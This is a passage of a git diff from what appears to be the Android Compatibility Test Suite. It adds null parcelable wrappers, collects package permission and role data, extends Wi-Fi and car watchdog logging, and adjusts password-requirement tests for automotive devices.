+ * Create a wrapper for a given {@link AccountManagerCallback}.
+ */
+ public static <F> NullParcelableAccountManagerCallback of(
+ Bundler bundler, BundlerType type,
+ AccountManagerCallback<F> accountManagerCallback) {
+
+ if (accountManagerCallback != null) {
+ throw new IllegalArgumentException("accountManagerCallback can only be null");
+ }
+
+ return new NullParcelableAccountManagerCallback<F>();
+ }
+
+ private NullParcelableAccountManagerCallback() {
+ }
+
+ public AccountManagerCallback<F> get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableAccountManagerCallback> CREATOR =
+ new Creator<NullParcelableAccountManagerCallback>() {
+ @Override
+ public NullParcelableAccountManagerCallback createFromParcel(Parcel in) {
+ return new NullParcelableAccountManagerCallback();
+ }
+
+ @Override
+ public NullParcelableAccountManagerCallback[] newArray(int size) {
+ return new NullParcelableAccountManagerCallback[size];
+ }
+ };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
new file mode 100644
index 0000000..6000472
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.app.Activity;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Activity} for clients
+ * which do not need to actually use the {@link Activity} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Activity.class)
+public final class NullParcelableActivity implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link Activity}.
+ */
+ public static <F> NullParcelableActivity of(
+ Bundler bundler, BundlerType type,
+ Activity activity) {
+
+ if (activity != null) {
+ throw new IllegalArgumentException("activity can only be null");
+ }
+
+ return new NullParcelableActivity();
+ }
+
+ private NullParcelableActivity() {
+ }
+
+ public Activity get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableActivity> CREATOR =
+ new Creator<NullParcelableActivity>() {
+ @Override
+ public NullParcelableActivity createFromParcel(Parcel in) {
+ return new NullParcelableActivity();
+ }
+
+ @Override
+ public NullParcelableActivity[] newArray(int size) {
+ return new NullParcelableActivity[size];
+ }
+ };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
new file mode 100644
index 0000000..92692ad
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.os.Handler;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Handler} for clients
+ * which do not need to actually use the {@link Handler} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Handler.class)
+public final class NullParcelableHandler implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link Handler}.
+ */
+ public static <F> NullParcelableHandler of(
+ Bundler bundler, BundlerType type,
+ Handler handler) {
+
+ if (handler != null) {
+ throw new IllegalArgumentException("handler can only be null");
+ }
+
+ return new NullParcelableHandler();
+ }
+
+ private NullParcelableHandler() {
+ }
+
+ public Handler get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableHandler> CREATOR =
+ new Creator<NullParcelableHandler>() {
+ @Override
+ public NullParcelableHandler createFromParcel(Parcel in) {
+ return new NullParcelableHandler();
+ }
+
+ @Override
+ public NullParcelableHandler[] newArray(int size) {
+ return new NullParcelableHandler[size];
+ }
+ };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
index 22217a3..7225c75 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
@@ -39,6 +39,11 @@
public static <F> NullParcelableRemoteDevicePolicyManager of(
Bundler bundler, BundlerType type,
RemoteDevicePolicyManager remoteDevicePolicyManager) {
+
+ if (remoteDevicePolicyManager != null) {
+ throw new IllegalArgumentException("remoteDevicePolicyManager can only be null");
+ }
+
return new NullParcelableRemoteDevicePolicyManager();
}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 32e41a1..fbff1c4 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -15,8 +15,10 @@
*/
package com.android.compatibility.common.deviceinfo;
+import android.Manifest;
import android.annotation.TargetApi;
import android.app.admin.DevicePolicyManager;
+import android.app.role.RoleManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.pm.ApplicationInfo;
@@ -25,12 +27,16 @@
import android.content.pm.PermissionInfo;
import android.os.Build;
import android.os.Process;
+
import com.android.compatibility.common.util.DeviceInfoStore;
import com.android.compatibility.common.util.PackageUtil;
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -42,7 +48,8 @@
public class PackageDeviceInfo extends DeviceInfo {
private static final String PLATFORM = "android";
- private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+ private static final String PLATFORM_ANDROID_PERMISSION_PREFIX = "android.permission.";
+ private static final String PLATFORM_MANIFEST_PERMISSION_PREFIX = "android.Manifest.permission.";
private static final String PACKAGE = "package";
private static final String NAME = "name";
@@ -53,17 +60,23 @@
private static final String TARGET_SDK = "target_sdk";
private static final String REQUESTED_PERMISSIONS = "requested_permissions";
+ private static final String DEFINED_PERMISSIONS = "defined_permissions";
private static final String PERMISSION_NAME = "name";
private static final String PERMISSION_FLAGS = "flags";
private static final String PERMISSION_GROUP = "permission_group";
private static final String PERMISSION_PROTECTION = "protection_level";
private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+ private static final String PERMISSION_IS_GRANTED = "is_granted";
+
private static final String PERMISSION_TYPE = "type";
private static final int PERMISSION_TYPE_SYSTEM = 1;
private static final int PERMISSION_TYPE_OEM = 2;
private static final int PERMISSION_TYPE_CUSTOM = 3;
+ private static final String REQUESTED_ROLES = "requested_roles";
+ private static final String ROLE_NAME = "name";
+
private static final String HAS_SYSTEM_UID = "has_system_uid";
private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -82,6 +95,21 @@
private static final String CONFIG_ACCESSIBILITY_SERVICE = "config_defaultAccessibilityService";
private static final String DEFAULT_ACCESSIBILITY_SERVICE = "is_default_accessibility_service";
+ private static final HashSet<String> ADDITIONAL_ANDROID_PERMISSIONS = new HashSet<>(Arrays.asList(new String[] {
+ "com.android.voicemail.permission.ADD_VOICEMAIL",
+ "com.android.voicemail.permission.WRITE_VOICEMAIL",
+ "com.android.voicemail.permission.READ_VOICEMAIL",
+ "com.android.browser.permission.READ_HISTORY_BOOKMARKS",
+ "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS",
+ "com.android.alarm.permission.SET_ALARM",
+ "com.android.launcher.permission.INSTALL_SHORTCUT",
+ "com.android.launcher.permission.UNINSTALL_SHORTCUT",
+ "com.android.permission.INSTALL_EXISTING_PACKAGES",
+ "com.android.permission.USE_INSTALLER_V2",
+ "com.android.permission.USE_SYSTEM_DATA_LOADERS",
+ "android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
+ }));
+
@Override
protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -96,6 +124,8 @@
final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
+ final HashMap<String, List<String>> packageRolesData = getPackageRolesData();
+
// Platform permission data used to tag permissions information with sourcing information
final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
final Set<String> platformPermissions = new HashSet<String>();
@@ -109,7 +139,9 @@
store.addResult(NAME, pkg.packageName);
store.addResult(VERSION_NAME, pkg.versionName);
- collectPermissions(store, pm, platformPermissions, pkg);
+ collectRequestedPermissions(store, pm, platformPermissions, pkg);
+ collectDefinedPermissions(store, platformPermissions, pkg);
+
collectionApplicationInfo(store, pm, pkg);
store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -131,12 +163,14 @@
String sha256_file = PackageUtil.computePackageFileDigest(pkg);
store.addResult(SHA256_FILE, sha256_file);
+ collectRoles(store, packageRolesData, pkg);
+
store.endGroup();
}
store.endArray(); // "package"
}
- private static void collectPermissions(DeviceInfoStore store,
+ private static void collectRequestedPermissions(DeviceInfoStore store,
PackageManager pm,
Set<String> systemPermissions,
PackageInfo pkg) throws IOException
@@ -150,20 +184,11 @@
final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
store.startGroup();
- store.addResult(PERMISSION_NAME, permission);
- writePermissionsDetails(pi, store);
+ writePermissionsDetails(pi, store, systemPermissions);
- final boolean isPlatformPermission = systemPermissions.contains(permission);
- if (isPlatformPermission) {
- final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
- if (isAndroidPermission) {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
- } else {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
- }
- } else {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
- }
+ boolean isGranted = pm.checkPermission(
+ permission, pkg.packageName) == pm.PERMISSION_GRANTED;
+ store.addResult(PERMISSION_IS_GRANTED, isGranted);
store.endGroup();
} catch (PackageManager.NameNotFoundException e) {
@@ -174,6 +199,27 @@
store.endArray();
}
+ private static void collectDefinedPermissions(DeviceInfoStore store,
+ Set<String> systemPermissions,
+ PackageInfo pkg) throws IOException {
+ if (pkg.permissions != null && pkg.permissions.length > 0) {
+ store.startArray(DEFINED_PERMISSIONS);
+ for (PermissionInfo permission : pkg.permissions) {
+ if (permission == null) continue;
+ // Ignore "android" package defined AOSP permissions.
+ if (pkg.packageName.equals(PLATFORM)
+ && isAndroidPermission(permission.name))
+ continue;
+
+ store.startGroup();
+ writePermissionsDetails(permission, store, systemPermissions);
+ store.endGroup();
+
+ }
+ store.endArray();
+ }
+ }
+
private static void collectionApplicationInfo(DeviceInfoStore store,
PackageManager pm,
PackageInfo pkg) throws IOException {
@@ -225,8 +271,12 @@
return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION);
}
- private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store)
- throws IOException {
+ private static void writePermissionsDetails(PermissionInfo pi,
+ DeviceInfoStore store,
+ Set<String> systemPermissions) throws IOException {
+ final String permissionName = pi.name;
+ store.addResult(PERMISSION_NAME, permissionName);
+
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
store.addResult(PERMISSION_FLAGS, pi.flags);
} else {
@@ -244,6 +294,18 @@
store.addResult(PERMISSION_PROTECTION_FLAGS,
pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE);
}
+
+ final boolean isPlatformPermission = systemPermissions.contains(permissionName);
+ if (isPlatformPermission) {
+ final boolean isAndroidPermission = isAndroidPermission(permissionName);
+ if (isAndroidPermission) {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+ } else {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+ }
+ } else {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+ }
}
private Set<String> getActiveDeviceAdminPackages() {
@@ -291,5 +353,55 @@
.getResources()
.getIdentifier(name, type, "android");
}
+
+ /** Return a boolean value to whether the permission is an android permission defined by android package */
+ private static boolean isAndroidPermission(String permissionName) {
+ if(permissionName.startsWith(PLATFORM_ANDROID_PERMISSION_PREFIX)
+ || permissionName.startsWith(PLATFORM_MANIFEST_PERMISSION_PREFIX)
+ || ADDITIONAL_ANDROID_PERMISSIONS.contains(permissionName))
+ return true;
+ return false;
+ }
+
+ private static void collectRoles(DeviceInfoStore store,
+ HashMap<String, List<String>> packageRolesData,
+ PackageInfo pkg) throws IOException {
+ String packageName = pkg.packageName;
+ if(packageRolesData.containsKey(packageName)) {
+ List<String> roleNames = packageRolesData.get(packageName);
+
+ store.startArray(REQUESTED_ROLES);
+ for(String roleName: roleNames) {
+ store.startGroup();
+ store.addResult(ROLE_NAME, roleName);
+ store.endGroup();
+ }
+ store.endArray();
+ }
+ }
+
+ /*
+ Return a map of PackageName -> List of RoleNames held by that package
+ */
+ private HashMap<String, List<String>> getPackageRolesData() throws Exception {
+ final RoleManager roleManager = getContext().getSystemService(RoleManager.class);
+ HashMap<String, List<String>> packageRolesData = new HashMap<>();
+
+ for(String roleName: RolesUtil.ROLE_NAMES) {
+ List<String> packageNames = getRoleHolders(roleName, roleManager);
+
+ for(String packageName: packageNames) {
+ packageRolesData.putIfAbsent(packageName, new ArrayList<>());
+ packageRolesData.get(packageName).add(roleName);
+ }
+ }
+ return packageRolesData;
+ }
+
+ public static List<String> getRoleHolders(String roleName, RoleManager roleManager) throws Exception {
+ return callWithShellPermissionIdentity(
+ () -> roleManager.getRoleHolders(roleName),
+ Manifest.permission.MANAGE_ROLE_HOLDERS);
+ }
}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
new file mode 100644
index 0000000..65531d5
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
@@ -0,0 +1,47 @@
+package com.android.compatibility.common.deviceinfo;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public class RolesUtil {
+ public final static List<String> ROLE_NAMES = new ArrayList<>(Arrays.asList(new String[] {
+ "android.app.role.ASSISTANT",
+ "android.app.role.AUTOMOTIVE_NAVIGATION",
+ "android.app.role.BROWSER",
+ "android.app.role.CALL_REDIRECTION",
+ "android.app.role.CALL_SCREENING",
+ "android.app.role.COMPANION_DEVICE_APP_STREAMING",
+ "android.app.role.COMPANION_DEVICE_COMPUTER",
+ "android.app.role.COMPANION_DEVICE_WATCH",
+ "android.app.role.DEVICE_POLICY_MANAGEMENT",
+ "android.app.role.DIALER",
+ "android.app.role.EMERGENCY",
+ "android.app.role.HOME",
+ "android.app.role.SMS",
+ "android.app.role.SYSTEM_ACTIVITY_RECOGNIZER",
+ "android.app.role.SYSTEM_AMBIENT_AUDIO_INTELLIGENCE",
+ "android.app.role.SYSTEM_APP_PROTECTION_SERVICE",
+ "android.app.role.SYSTEM_AUDIO_INTELLIGENCE",
+ "android.app.role.SYSTEM_AUTOMOTIVE_CALENDAR_SYNC_MANAGER",
+ "android.app.role.SYSTEM_AUTOMOTIVE_CLUSTER",
+ "android.app.role.SYSTEM_AUTOMOTIVE_PROJECTION",
+ "android.app.role.SYSTEM_COMPANION_DEVICE_PROVIDER",
+ "android.app.role.SYSTEM_CONTACTS",
+ "android.app.role.SYSTEM_DOCUMENT_MANAGER",
+ "android.app.role.SYSTEM_GALLERY",
+ "android.app.role.SYSTEM_NOTIFICATION_INTELLIGENCE",
+ "android.app.role.SYSTEM_SETTINGS_INTELLIGENCE",
+ "android.app.role.SYSTEM_SHELL",
+ "android.app.role.SYSTEM_SPEECH_RECOGNIZER",
+ "android.app.role.SYSTEM_SUPERVISION",
+ "android.app.role.SYSTEM_TELEVISION_NOTIFICATION_HANDLER",
+ "android.app.role.SYSTEM_TELEVISION_REMOTE_SERVICE",
+ "android.app.role.SYSTEM_TEXT_INTELLIGENCE",
+ "android.app.role.SYSTEM_UI",
+ "android.app.role.SYSTEM_UI_INTELLIGENCE",
+ "android.app.role.SYSTEM_VISUAL_INTELLIGENCE",
+ "android.app.role.SYSTEM_WELLBEING",
+ "android.app.role.SYSTEM_WIFI_COEX_MANAGER",
+ }));
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index 5aa36c9..30084ea 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -27,6 +27,7 @@
import android.net.Uri;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
+import android.os.Process;
import android.text.TextUtils;
import android.util.Log;
@@ -61,6 +62,7 @@
private final Context mContext;
private final WifiManager mWifiManager;
+ private WifiManager mCurrentUserWifiManager;
public WifiConfigCreator(Context context) {
this(context, context.getApplicationContext().getSystemService(WifiManager.class));
@@ -69,6 +71,15 @@
public WifiConfigCreator(Context context, WifiManager wifiManager) {
mContext = context;
mWifiManager = wifiManager;
+ mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+ Log.d(TAG, "WifiConfigCreator: user=" + Process.myUserHandle() + ", ctx=" + context
+ + ", mgr=" + mWifiManager + ", currentUserMgr=" + mCurrentUserWifiManager);
+ }
+
+ @Override
+ public String toString() {
+ return "WifiConfigCreator[mWifiManager=" + mWifiManager
+ + ",mCurrentUserWifiManager=" + mCurrentUserWifiManager + "]";
}
/**
@@ -81,6 +92,7 @@
WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
+ Log.i(TAG, "Adding SSID " + ssid + " using " + mWifiManager);
int netId = mWifiManager.addNetwork(wifiConf);
if (netId != -1) {
@@ -303,15 +315,17 @@
}
private List<WifiConfiguration> getConfiguredNetworksWithLogging() {
- Log.d(TAG, "calling getConfiguredNetworks()");
- List<WifiConfiguration> configuredNetworks = getConfiguredNetworks();
+ Log.d(TAG, "calling getConfiguredNetworks() using " + mCurrentUserWifiManager);
+ // Must use a the WifiManager of the current user to list networks, as
+ // getConfiguredNetworks() would return empty on systems using headless system
+ // mode as that method "Return a list of all the networks configured for the current
+ // foreground user", and the system user is running in the background in this case.
+ List<WifiConfiguration> configuredNetworks = mCurrentUserWifiManager
+ .getConfiguredNetworks();
Log.d(TAG, "Got " + configuredNetworks.size() + " networks: "
- + configuredNetworks.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+ + configuredNetworks.stream().map((c) -> c.SSID + "/" + c.networkId)
+ .collect(Collectors.toList()));
return configuredNetworks;
}
-
- public List<WifiConfiguration> getConfiguredNetworks() {
- return mWifiManager.getConfiguredNetworks();
- }
}
diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
index 7057462..66c6c5a 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
@@ -299,6 +299,7 @@
CarWatchdogManager.FLAG_RESOURCE_OVERUSE_IO,
CarWatchdogManager.STATS_PERIOD_CURRENT_DAY);
}
+ Log.d(TAG, "Fetched resource overuse stats: " + stats);
IoOveruseStats ioOveruseStats = stats.getIoOveruseStats();
if (ioOveruseStats == null) {
setDumpMessage(
@@ -312,7 +313,6 @@
+ "' returned by get request");
return 0;
}
- Log.d(TAG, ioOveruseStats.toString());
/*
* Check for foreground mode bytes given CtsCarApp is running in the foreground
* during testing.
@@ -343,26 +343,24 @@
@Override
public void onOveruse(ResourceOveruseStats resourceOveruseStats) {
synchronized (mLock) {
+ Log.d(TAG, "onOveruse callback received: " + resourceOveruseStats);
mForegroundModeBytes = -1;
mNotificationReceived = true;
mLock.notifyAll();
- }
- Log.d(TAG, resourceOveruseStats.toString());
- if (resourceOveruseStats.getIoOveruseStats() == null) {
- setDumpMessage(
- "ERROR: No I/O overuse stats reported for the application in the overuse "
- + "notification.");
- return;
- }
- long reportedWrittenBytes =
- resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
- if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
- setDumpMessage("ERROR: Actual written bytes to disk '" + mExpectedMinWrittenBytes
- + "' don't match written bytes '" + reportedWrittenBytes
- + "' reported in overuse notification");
- return;
- }
- synchronized (mLock) {
+ if (resourceOveruseStats.getIoOveruseStats() == null) {
+ setDumpMessage(
+ "ERROR: No I/O overuse stats reported for the application in the "
+ + "overuse notification.");
+ return;
+ }
+ long reportedWrittenBytes =
+ resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
+ if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
+ setDumpMessage("ERROR: Actual written bytes to disk '"
+ + mExpectedMinWrittenBytes + "' don't match written bytes '"
+ + reportedWrittenBytes + "' reported in overuse notification");
+ return;
+ }
mForegroundModeBytes =
resourceOveruseStats.getIoOveruseStats().getRemainingWriteBytes()
.getForegroundModeBytes();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index fcc7d5d..472cdbc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -44,7 +44,7 @@
<!-- Add a network security config that trusts user added CAs for tests -->
<application android:networkSecurityConfig="@xml/network_security_config"
- android:testOnly="true">
+ android:testOnly="true" android:debuggable="true">
<uses-library android:name="android.test.runner"/>
<receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 67a5085..76126cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -127,6 +127,8 @@
protected UserManager mUserManager;
protected Context mContext;
protected boolean mHasSecureLockScreen;
+ protected boolean mIsAutomotive;
+ protected boolean mIsDeviceOwnerTest;
static CountDownLatch mOnPasswordExpiryTimeoutCalled;
protected final String mTag = getClass().getSimpleName();
@@ -141,12 +143,14 @@
mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+ mIsAutomotive = mContext.getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_AUTOMOTIVE);
- boolean isDeviceOwnerTest = "DeviceOwner"
+ mIsDeviceOwnerTest = "DeviceOwner"
.equals(InstrumentationRegistry.getArguments().getString("admin_type"));
mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
- BasicAdminReceiver.class, isDeviceOwnerTest);
+ BasicAdminReceiver.class, mIsDeviceOwnerTest);
Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": "
+ mDevicePolicyManager);
@@ -159,7 +163,7 @@
Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
+ ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
+ ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner
- + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+ + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + mIsDeviceOwnerTest);
assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin)
.isTrue();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
index f9ce726..59a5a5c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -22,18 +22,22 @@
import static org.testng.Assert.assertThrows;
+import android.util.Log;
+
/**
* Class that tests password constraints API preconditions.
*/
public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+
private static final int TEST_VALUE = 5;
+
+ private static final int DEFAULT_LENGTH = 0;
private static final int DEFAULT_NUMERIC = 1;
private static final int DEFAULT_LETTERS = 1;
private static final int DEFAULT_UPPERCASE = 0;
private static final int DEFAULT_LOWERCASE = 0;
private static final int DEFAULT_NON_LETTER = 0;
private static final int DEFAULT_SYMBOLS = 1;
- private static final int DEFAULT_LENGTH = 0;
public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
// Pre-R password restrictions can be set in any order.
@@ -51,23 +55,46 @@
// Make sure these values are preserved and not reset when quality is set low.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+ if (mIsAutomotive) {
+ assertEquals(DEFAULT_LENGTH,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_NUMERIC,
+ mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_LETTERS,
+ mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_UPPERCASE,
+ mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_LOWERCASE,
+ mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_NON_LETTER,
+ mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_SYMBOLS,
+ mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
